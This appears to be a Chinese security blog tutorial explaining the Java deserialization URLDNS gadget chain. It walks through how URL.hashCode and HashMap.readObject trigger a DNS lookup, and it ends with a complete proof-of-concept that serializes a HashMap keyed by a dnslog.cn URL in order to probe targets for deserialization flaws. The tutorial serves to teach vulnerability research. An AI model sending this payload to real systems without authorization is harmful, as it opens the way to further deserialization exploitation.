一、前置知识

菜鸟教程 Java 序列化

Java安全-反射

URLDNS链的作用就是在目标主机中可能存在反序列化输入的数据的地方,传入序列化后的URLDNS利用链,如果目标主机解析了这个URL地址,那么证明该处存在反序列化数据的行为。然后就可以进一步尝试其他反序列化漏洞了。

反射

下面是两个本文中要用到的反射方法:

反射获取类对象:

Student s = new Student();
//方法1
Class clazz = s.getClass();
//方法2
Class clazz2 = Student.class;

反射修改私有成员变量:

Field name = clazz.getDeclaredField("name");
name.setAccessible(true);
name.set(s,"zzy");

二、分析

1. URL

URL.class关键代码

public final class URL implements java.io.Serializable {
private int hashCode = -1; public synchronized int hashCode() {
if (hashCode != -1)
return hashCode; hashCode = handler.hashCode(this);
return hashCode;
}
}

首先看,URL类中有个hashCode方法,他会调用URLStreamHandler类的hashCode方法,URLStreamHandler的hashCode方法里面有个getHostAddress方法,它又会调用InetAddress下面这行代码,发起DNS请求。

addresses = nameService.lookupAllHostAddr(host);

总而言之,记住调用URL类的hashCode方法就会发起DNS请求就可以了,域名是通过构造方法传入的。

写一下代码来看看能不能实现DNS请求

package com.learn;

import java.net.MalformedURLException;
import java.net.URL; public class Blog {
public static void main(String[] args) throws MalformedURLException {
URL url = new URL("https://test.wc5uoi.dnslog.cn");
url.hashCode();
}
}

可以看到成功发起了DNS请求

我们最终要的效果是在反序列化的过程中发起DNS请求,那么需要在readObject中有hashCode方法,或者在readObject中有的方法调用了URL类的hashCode方法

URL类中的readObject方法

URL类自身的readObject方法有点没有头绪,我们还是来找找其他类的readObject方法吧

2. HashMap

可以看到HashMap有一个hash方法调用了hashCode方法

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

右键hash方法,选择查找用法,可以看到HashMap的readObject方法使用了hash方法,readObject不正好是反序列化的入口点吗,那可太好了

在readObject中key是从输入流中读取的。具体来说,在循环中,通过调用s.readObject()方法来读取一个对象,并将其强制转换为K类型,即键的类型。

所以key的值是从序列化的HashMap对象获得的,在这里我们可以把key的值设成URL对象,那么在hash方法中就会调用URL的hashCode方法,进而完成DNS解析。

试着写一下代码

package com.learn;

import java.io.*;
import java.net.URL;
import java.util.HashMap; public class Blog {
public static void main(String[] args) throws IOException, ClassNotFoundException {
URL url = new URL("https://test.9oeary.dnslog.cn");
HashMap<URL, String> hashMap = new HashMap<URL, String>();
hashMap.put(url, "123"); serial(hashMap);
unserial();
} public static void serial(Object obj) throws IOException {
//Serialize
ObjectOutputStream objectOut = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOut.writeObject(obj);
objectOut.close();
} public static void unserial() throws IOException, ClassNotFoundException {
//UnSerialize
ObjectInputStream objIn = new ObjectInputStream(new FileInputStream("ser.bin"));
Object result = objIn.readObject();
System.out.println(result.toString());
objIn.close();
}
}

成功完成DNS请求

虽然这里成功发起dns请求了,但是把序列化和反序列化代码注释掉,他还是发起了dns请求

这是为什么呢?

3. 解决一些问题

通过调试看到,HashMap在put的时候就会调用hash方法

所以程序在序列化前就会发起dns请求,那么怎么才能在序列化前不触发dns请求呢?

继续跟进程序,这是URL的hashCode方法:

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode; hashCode = handler.hashCode(this);
return hashCode;
}

可以看到如果hashCode变量不是-1的话,那么就会return,不会再执行handler.hashCode,这样就不会发起dns请求

继续跟进,发现hashCode在定义时的初始值就是-1

private int hashCode = -1;

反射修改字段值

由于hashCode是私有变量,无法直接修改,所以这里用反射来修改成员变量的值

Field hashCodeField = URL.class.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url, 1);

由于这里把hashCode改为1了,在put后还需要把它改回-1,让程序在反序列化还会发起dns请求

//将hashCode改为 1
Field hashCodeField = URL.class.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url, 1); hashMap.put(url, "123"); //将hashCode改回 -1
hashCodeField.set(url, -1);

三、POC

package com.learn;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap; public class Blog {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
URL url = new URL("https://test.0x044e.dnslog.cn");
HashMap<URL, String> hashMap = new HashMap<URL, String>(); //将hashCode改为 1
Field hashCodeField = URL.class.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url, 1); hashMap.put(url, "随便输入点东西"); //将hashCode改回 -1
hashCodeField.set(url, -1); serial(hashMap);
unserial();
} public static void serial(Object obj) throws IOException {
//Serialize
ObjectOutputStream objectOut = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOut.writeObject(obj);
objectOut.close();
} public static void unserial() throws IOException, ClassNotFoundException {
//UnSerialize
ObjectInputStream objIn = new ObjectInputStream(new FileInputStream("ser.bin"));
Object result = objIn.readObject();
System.out.println(result.toString());
objIn.close();
}
}

到此poc已构造完毕,把序列化的数据发送到可能存在反序列化时的功能点上,如果dns请求成功,那么就代表这个功能点存在反序列化,之后可以进一步利用其他的反序列化漏洞来进行测试

四、利用链

HashMap.readObject()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()

Java反序列化漏洞-URLDNS链分析的更多相关文章

  1. 通过WebGoat学习java反序列化漏洞

    首发于freebuff. WebGoat-Insecure Deserialization Insecure Deserialization 01 概念 本课程描述了什么是序列化,以及如何操纵它来执行 ...

  2. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

  3. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  4. WEBLOGIC 11G (10.3.6) windows PSU 升级10.3.6.0.171017(Java 反序列化漏洞升级)

    10.3.6版本的weblogic需要补丁到10.3.6.0.171017(2017年10月份的补丁,Java 反序列化漏洞升级),oracle官方建议至少打上2017年10月份补丁. 一.查看版本 ...

  5. Java反序列化漏洞实现

    一.说明 以前去面试被问反序列化的原理只是笼统地答在参数中注入一些代码当其反序列化时被执行,其实“一些代码”是什么代码“反序列化”时为什么就会被执行并不懂:反来在运营商做乙方经常会因为java反反序列 ...

  6. java反序列化漏洞原理研习

    零.Java反序列化漏洞 java的安全问题首屈一指的就是反序列化漏洞,可以执行命令啊,甚至直接getshell,所以趁着这个假期好好研究一下java的反序列化漏洞.另外呢,组里多位大佬对反序列化漏洞 ...

  7. Java反序列化漏洞之殇

    ref:https://xz.aliyun.com/t/2043 小结: 3.2.2版本之前的Apache-CommonsCollections存在该漏洞(不只该包)1.漏洞触发场景 在java编写的 ...

  8. java 反序列化漏洞检测及修复

    Jboss.Websphere和weblogic的反序列化漏洞已经出来一段时间了,还是有很多服务器没有解决这个漏洞: 反序列化漏洞原理参考:JAVA反序列化漏洞完整过程分析与调试 这里参考了网上的 J ...

  9. Java反序列化漏洞的挖掘、攻击与防御

    一.Java反序列化漏洞的挖掘 1.黑盒流量分析: 在Java反序列化传送的包中,一般有两种传送方式,在TCP报文中,一般二进制流方式传输,在HTTP报文中,则大多以base64传输.因而在流量中有一 ...

  10. Lib之过?Java反序列化漏洞通用利用分析

    转http://blog.chaitin.com/ 1 背景 2 Java反序列化漏洞简介 3 利用Apache Commons Collections实现远程代码执行 4 漏洞利用实例 4.1 利用 ...

随机推荐

  1. 织梦DedeCMS文章内容页调用标签方法教程

    织梦DedeCMS是新手站长使用比较多的建站软件,其模板制作也比较方便,一些站长朋友对其模板调用标签不是太熟悉,小编为大家介绍下织梦文章内容页调用标签的方法. 1.调用文章标题: {dede:fiel ...

  2. MySQL 日志管理、备份与恢复

    MySQL 日志管理.备份与恢复 ---MySQL 日志管理--- MySQL 的日志默认保存位置为 /usr/local/mysql/data vim /etc/my.cnf [mysqld] ## ...

  3. 西门子Teamcenter 许可分析

    西门子Teamcenter 许可 绑定了主机名称,mac地址 另外,Teamcenter可以支持多个许可服务 所以.......................找个正式许可复制就可以 end succ ...

  4. Oracle CloudWorld 2023:Safra Catz主题演讲——把客户的成功放在首要位置

    Safra Catz在Oracle CloudWorld 2023的开场演讲主题是"把客户的成功放在首要位置".她强调了客户的重要性,并说大家通过合作和技术可以实现几乎一切.她感谢 ...

  5. 使用Github Copilot完成代码编写

    上篇文章,我们使用VSCode创建了T.Global解决方案和两个类库工程,接下来我们使用Github Copilot完成代码编写 先说以下业务需求: 提供一个公共的本地化组件,支持对数字.货币.时间 ...

  6. 联想think服务器centos系统安装

    一.前言 本以为安装服务器是一件轻松顺利的事,没想到一安就是两天- 二.错误列表 1.硬件系统不兼容低版本centos 刚开始安装centos6.8的操作系统总是无法找到配置好的raid阵列导致无法安 ...

  7. 🎁平平无奇的 Docker 命令(日常流)

    Docker search docker search 命令用于在 Docker Hub 上搜索镜像,语法如下: docker search [OPTIONS] TERM 常用的选项包括: --fil ...

  8. 搞懂Event Loop

    本文关键: V8是单线程的 任务队列排队执行 抽出io命令抽出到evenloop线程,消息线程,区别与主线程.(同步和异步) 微任务和宏任务执行顺序 重绘和回流 以上流程无限循环 可以这样理解,一个人 ...

  9. DS18B20初始化-读-写-温度转换

    DS18B20 (一)初始化 (二)读字节 (三)写字节 (四)温度转换 1获得数据 2转换数据 (一)初始化 初始化时序: 数据线先拉到高电平,稍作延时即可(刚开始是高电平还是低电平芯片手册上其实不 ...

  10. Redis宕机恢复

    AOF(Append Only File) Redis持久化:AOF日志 用 AOF 方法进行故障恢复的时候,需要逐一把操作日志都执行一遍.如果操作日志非常多,Redis 就会恢复得很缓慢,影响到正常 ...